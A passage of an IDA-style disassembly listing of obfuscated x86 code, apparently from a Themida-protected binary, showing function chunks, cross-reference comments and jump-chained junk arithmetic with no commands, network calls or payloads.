		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_5AD6B6
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_5AC839:				; CODE XREF: sub_59D151+E4A0j
		inc	ebx
		jz	loc_5A11DF
		add	ebx, 196422EBh
		xor	ebx, 46B1658Dh
		mov	edx, ebx
		pop	ebx
		not	edx
		jmp	loc_5A3B7E
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5AC856:				; CODE XREF: sub_5A879C+369Bj
		add	ebx, 19E377E0h
		sub	ebx, esi
		sub	ebx, 19E377E0h
		pop	esi
		jmp	loc_5A8A97
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5AC86A:				; CODE XREF: sub_59EE40-4087j
		pop	ebx
		shr	edi, 7
		dec	edi
		push	ebp
		mov	ebp, 659BCC8Dh
		xor	edi, ebp
		push	[esp+10h+var_10]
		pop	ebp
		add	esp, 4
		sub	edx, edi
		pop	edi
		sub	edx, 7470463Eh
		push	ecx
		jmp	loc_59A6B9
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AC88D:				; CODE XREF: sub_597F0C+3j
		sub	al, 0E8h
		add	al, bl
		add	al, 0E8h
		pop	ebx
		push	cx
		jmp	loc_5ADB45
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
		push	740Dh
		mov	[esp], eax
		jmp	loc_5ADEBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5AC8A8:				; CODE XREF: sub_5A2735+2F75j
		mov	edx, edi
		jmp	loc_5A8DFF
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5AC8AF:				; CODE XREF: sub_59B3CE+578Ej
		add	ebp, 4
		jmp	loc_59E54F
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5AC8B7:				; CODE XREF: sub_5ABF4A-6C1j
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5A4C23
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_5AC8D1:				; CODE XREF: sub_5987D8+1389Ej
		pop	esp
		sub	esp, 4
		mov	[esp+0], ebx
		push	ecx
		jmp	sub_5AE919
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5AC8E1:				; CODE XREF: sub_599721+AAA2j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ebp
		mov	ebp, 3FED0D77h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		mov	edi, 64798Bh
		not	edi
		push	esi
		mov	esi, 0
		add	esi, 4AA51F3h
		sub	esi, edi
		sub	esi, 4AA51F3h
		push	esi
		pop	edi
		jmp	loc_597FE2
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_5AC948:				; CODE XREF: sub_59D151+10j
		xor	ebx, 1FE96E80h
		jg	loc_59BF1C
		jmp	loc_5A4650
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	loc_5A01D7

; =============== S U B	R O U T	I N E =======================================



sub_5AC95F	proc near		; CODE XREF: sub_5AE1A9-3B0Ej

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

; FUNCTION CHUNK AT 00597C28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597DCD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00597ED1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597F58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598110 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059841E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005986AA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598CF0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00598DD5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00598FA0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005992A8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00599673 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599729 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599B60 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00599C74 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A150 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059A225 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059A2EC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A790 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059AC5B SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059ADF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AE32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B288 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B655 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B79F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059B81A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059B898 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B9CC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059BA93 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059BD30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BDBE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059BFB0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059BFE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C094 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059C1D6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C452 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059C466 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059C612 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059C768 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C79D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C954 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059CAF3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059CCD9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059CF65 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D53C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D7AF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DA23 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DC19 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0059DFFE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059E0C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E16F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059E28E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E627 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E944 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059EAB3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059EC9F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F00A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F111 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059F172 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059F197 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F3CE SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0059F7C2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F815 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059FE30 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059FF6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0110 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A011B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A01D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A025C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A068E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0775 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A07F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0901 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A0946 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A099B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A09CB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A0CB5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A0D38 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A0E4C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0EE2 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005A1047 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A10B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1298 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A1480 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A167F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A173C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1970 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A19A0 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A1B69 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A1C97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1DF7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2097 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A234B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A25A6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A262A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2658 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2FEE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A304A SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A3091 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3134 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A317D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A343F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A374D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A37E0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A39A3 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A3BDF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A3D6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A42A3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4371 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A459F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A468B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4709 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4726 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A4A4B SIZE 00000043 BYTES
; FUNCTION CHUNK AT 005A4AFC SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A4B3C SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A4E0F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A51BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5315 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 005A58FA SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A5A0D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A5CD8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5D46 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A5F41 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A606C SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A613D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A618F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A64BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A69A5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6EC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A70AE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A711D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A7159 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A725B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A7615 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A7A7C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A7AB3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A7DF2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8196 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A82B0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A83FC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A8A78 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8DA0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8EB4 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A9081 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A910C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A92C7 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A95F8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A9BB8 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 005A9EC1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA065 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA0AD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA7AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AAC28 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005AAF74 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AAF9F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB10F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB1C2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB38D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB691 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB842 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB867 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AB9CB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005ABEB4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AC111 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC23B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC26F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC291 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AC37A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC427 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC4B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC66E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC753 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC788 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005ACAB8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005ACC70 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005ACF98 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD299 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AD2DB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD97E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005ADCC1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005ADF0D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ADF51 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005ADF72 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE2A7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE374 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE5B4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE81E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AED7C SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 2AE54266h
		dec	ebp
		and	ebp, 4DD12A5h
		xor	ebp, 0EC6D5385h
		add	esi, 3DEA32BAh
		jmp	loc_5986AA
sub_5AC95F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AC97D:				; CODE XREF: Themida_:0059C9C7j
		shr	edx, 7
		inc	edx
		xor	edx, 3907B0h
		sub	esi, 477C5B40h
		add	esi, edx
		add	esi, 477C5B40h
		mov	edx, [esp]
		jmp	loc_5A2E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC99D:				; CODE XREF: sub_5A8C33-9FF3j
		mov	eax, 4CFF5465h
		xor	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		and	eax, edx
		push	[esp-1Ch+arg_16+2]
		jmp	loc_59C039
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AC9B2:				; CODE XREF: sub_5A91EC+3510j
		xchg	ebx, [esp-18h+arg_14]
		pop	esp
		mov	[esp-1Ch+arg_18], ebx
		push	esi
		mov	esi, 587B1532h
		jmp	loc_59BA22
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AC9C4:				; CODE XREF: sub_59B707+7BE8j
		push	edx
		mov	edx, 715559AEh
		jmp	loc_5A42BA
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5AC9CF:				; CODE XREF: sub_59ACEC+723Cj
					; sub_59C342+B57Cj
		push	dword ptr [esp+0]
		jmp	loc_5A7C39
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------


loc_5AC9D7:				; CODE XREF: Themida_:005A1F72j
		pop	cx
		mov	cx, [esp]
		push	edi
		jmp	loc_5A931B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AC9E3:				; CODE XREF: sub_5A1B2A+48F0j
		mov	eax, [esp+0Ah+var_C+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	51Fh
		jmp	loc_5A12CC
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E640


loc_5AC9F9:				; CODE XREF: sub_59E640+5BFBj
		pop	eax
		jmp	loc_5AA7BD
; END OF FUNCTION CHUNK	FOR sub_59E640

; =============== S U B	R O U T	I N E =======================================



sub_5AC9FF	proc near		; CODE XREF: sub_59E640+C19Cj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598580 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B87D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A131D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A361F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A87EC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD74C SIZE 00000010 BYTES

		push	ebx
		mov	ebx, 1BD1313h
		jmp	loc_5A131D
sub_5AC9FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_59ECF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5ACA1A:				; CODE XREF: sub_5A1B2A-2846j
		add	ebp, 218F1710h
		sub	ebp, edi
		push	ecx
		mov	ecx, 1DCC75B8h
		jmp	loc_5AB45C
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5ACA2D:				; CODE XREF: sub_5A879C-92A0j
		xor	eax, 14080Ah
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 2
		add	edx, eax
		jmp	loc_5A2D91
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5ACA42:				; CODE XREF: sub_5AE0B5-CA24j
		pop	eax
		jmp	loc_59ABE4
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5ACA48:				; CODE XREF: Themida_:00599CB7j
		push	ebx
		jmp	loc_5A7238
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5ACA4E:				; CODE XREF: sub_5A8C33-F909j
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		jmp	loc_59E23C
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5ACA59:				; CODE XREF: sub_599059+1B44j
					; sub_5AA9C8-524Aj
		push	eax
		mov	eax, 40490B43h
		neg	eax
		and	eax, 0EF825ABh
		dec	eax
		not	eax
		xchg	eax, edx
		not	edx
		jmp	loc_5AE303
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5ACA71:				; CODE XREF: sub_5A0F44+57A9j
		push	eax
		mov	eax, 1D2A2DBDh
		sub	ecx, eax
		pop	eax
		sub	ebx, 5B441280h
		sub	ebx, ecx
		push	esi
		mov	esi, 5B441280h
		add	ebx, esi
		pop	esi
		pop	ecx
		push	small word ptr [eax]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5ACA94:				; CODE XREF: sub_59CD12+6570j
		xor	edi, 3C802FA2h
		mov	edx, edi
		pop	edi
		jmp	loc_5A8317
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5ACAA2:				; CODE XREF: sub_59C53B+6408j
		mov	[esp+10h+var_10], ecx
		jmp	loc_5A1CA2
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_5ACAAA:				; CODE XREF: Themida_:0059D3ECj
		add	edx, 62490581h
		add	edx, ebx
		push	ebx
		jmp	loc_5ACF3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ACAB8:				; CODE XREF: sub_5AC95F-6A1Bj
		pop	edi
		add	esp, 4
		sub	edx, 7C834E05h
		shr	edx, 3
		jmp	loc_5A262A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5ACACD:				; CODE XREF: Themida_:005AA4C1j
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_59EE65
; ---------------------------------------------------------------------------


loc_5ACADC:				; CODE XREF: Themida_:005A0770j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A1DA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5ACAE7:				; CODE XREF: Themida_:00598909j
					; sub_59C53B+C485j
		mov	[esp+0Ch+var_C], edi
		push	860h
		jmp	loc_5AF1E9
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5ACAF4:				; CODE XREF: sub_5A2735-7946j
		mov	[esp+0Ch+var_C], ebx
		push	edx
		jmp	loc_5A56A4
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5ACAFD:				; CODE XREF: sub_59DBFF-37B3j
		push	6641h
		mov	[esp+0], ebx
		mov	ebx, 0
		add	ebx, ecx
		push	edx
		jmp	loc_5A1D9D
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------


loc_5ACB12:				; CODE XREF: Themida_:loc_5A280Dj
		add	eax, 557196A4h
		jmp	loc_59C623
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5ACB1C:				; CODE XREF: sub_59DFDD+6744j
		sub	eax, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	eax, 52A4098Ah
		jmp	loc_59F521
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ACB31:				; CODE XREF: sub_59B707+8B8Bj
		add	ebp, 4
		jmp	sub_59EC11
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5ACB3C:				; CODE XREF: sub_5A438E-2139j
		sub	ebx, 4F3C2ED0h
		add	ebx, 3F0E3085h
		add	ebx, 41920AE0h
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		push	ebx
		push	esi
		mov	esi, 4E7F0E9Eh
		jmp	loc_59A356
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------


loc_5ACB64:				; CODE XREF: Themida_:0059F934j
		xor	eax, ebx
		inc	ebx
		xchg	eax, ebx
		xor	eax, 81F2E8F4h
		jmp	loc_59B056

; =============== S U B	R O U T	I N E =======================================



sub_5ACB72	proc near		; CODE XREF: sub_599059+8547j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D25D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A4F10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AA5F4 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, ebx
		jmp	loc_5A4F10
sub_5ACB72	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5ACB82:				; CODE XREF: sub_5A8C33-10B28j
		pop	ecx
		sub	edi, ebx
		pop	ebx
		pop	edx
		or	edi, 39161139h
		xor	edi, 22EB53E6h
		jmp	loc_5AD893
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5ACB98:				; CODE XREF: Themida_:005A9BB3j
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5ACEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5ACBA4:				; CODE XREF: sub_59D99C+10706j
		mov	[esp+6+var_8+2], ebx
		jmp	loc_59F0A4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5ACBAC:				; CODE XREF: Themida_:005ABD14j
		dec	edx
		jns	loc_597D76
		or	edx, 63FC2420h
		jmp	loc_59D3D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5ACBBE:				; CODE XREF: sub_59B0C4+7B7Dj
		push	ecx
		push	eax
		mov	eax, 2F2A5DB8h
		neg	eax
		jno	loc_598320
		jmp	loc_59EF9A
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5ACBDA:				; CODE XREF: sub_5ABF4A-D3E0j
		add	edx, 4
		push	edx
		push	[esp+arg_0]
		pop	edx
		pop	dword ptr [esp+0]
		pop	esp
		shl	eax, cl
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5A0EB3
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5ACBF9:				; CODE XREF: sub_597C68:loc_5A5084j
					; sub_5A337E+386Aj
		mov	ebp, 9615BE4h
		add	ebp, 670F62E9h
		neg	ebp
		and	ebp, 51714158h
		jle	loc_5A3B22
		jmp	loc_59ECF8
